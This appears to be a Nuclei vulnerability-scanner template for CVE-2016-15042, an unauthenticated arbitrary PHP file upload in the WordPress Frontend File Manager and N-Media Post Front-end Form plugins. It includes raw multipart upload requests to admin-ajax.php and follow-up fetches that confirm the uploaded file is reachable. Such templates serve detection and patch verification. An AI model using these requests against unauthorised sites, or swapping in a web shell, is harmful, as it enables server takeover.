id: CVE-2016-15042 info: name: WordPress Frontend File Manager < 4.0 & N-Media Post Frontend < 1.1 - Arbitrary File Upload author: jsnv-dev severity: critical description: | The Frontend File Manager plugin (<4.0) and N-Media Post Front-end Form plugin (<1.1) for WordPress were vulnerable to arbitrary file uploads due to missing file type validation. This allowed unauthenticated attackers to upload arbitrary files and potentially achieve remote code execution. impact: | Unauthenticated attackers can upload malicious files (such as PHP web shells) and execute arbitrary code, leading to complete server compromise, data theft, and potential lateral movement within the network. remediation: | Update Frontend File Manager to version 4.0 or later, and N-Media Post Front-end Form to version 1.1 or later. reference: - https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-front-end-file-upload-and-manager-plugin/ - https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-n-media-post-front-end-form/ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-15042 - https://wordpress.org/plugins/nmedia-user-file-uploader/#developers - https://wpscan.com/vulnerability/052f7d9a-aaff-4fb1-92b7-aeb83cc705a7 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2016-15042 cwe-id: CWE-434 epss-score: 0.75827 epss-percentile: 0.98926 cpe: cpe:2.3:a:najeebmedia:frontend_file_manager:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 4 vendor: najeebmedia product: frontend_file_manager framework: wordpress tags: cve,cve2016,wordpress,wp-plugin,n-media,post-frontend,intrusive,unauth,file-upload,vkev,vuln variables: randstr_name: "{{randstr}}" randstr_content: "{{randstr}}" filename: "{{to_lower(randstr_name)}}.php" content: "" flow: http(1) || http(2) http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr_val}} ------WebKitFormBoundary{{randstr_val}} Content-Disposition: form-data; name="action" nm_postfront_upload_file ------WebKitFormBoundary{{randstr_val}} Content-Disposition: form-data; name="name" {{filename}} ------WebKitFormBoundary{{randstr_val}} Content-Disposition: form-data; name="file"; filename="{{filename}}" Content-Type: application/octet-stream {{content}} ------WebKitFormBoundary{{randstr_val}}-- - | GET /wp-content/uploads/post_files/{{filename}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl name: n-media-post-frontend-upload dsl: - 'status_code == 200' - 'contains_all(body_1, "{{filename}}","file_name")' - 'contains(body_2, "{{randstr_content}}")' condition: and - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr_val}} ------WebKitFormBoundary{{randstr_val}} Content-Disposition: form-data; name="action" nm_filemanager_upload_file ------WebKitFormBoundary{{randstr_val}} Content-Disposition: form-data; name="name" {{filename}} ------WebKitFormBoundary{{randstr_val}} Content-Disposition: form-data; name="file"; filename="{{filename}}" Content-Type: application/octet-stream {{content}} ------WebKitFormBoundary{{randstr_val}}-- - | GET /wp-content/uploads/user_uploads/{{filename}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl name: frontend-file-manager-upload dsl: - 'status_code == 200' - 'contains_all(body_1, "{{filename}}","file_name")' - 'contains(body_2, "{{randstr_content}}")' condition: and # digest: 490a00463044022020d21aa9df73973dbc2dc4a56a000781992bfc1b683bb81ac31ed14b545ce63002200180dfa5ce627aa8f54c8d1fe2fb0a4824d884c3b86142593e7d25561b0f3591:922c64590222798bb761d5b6d8e72950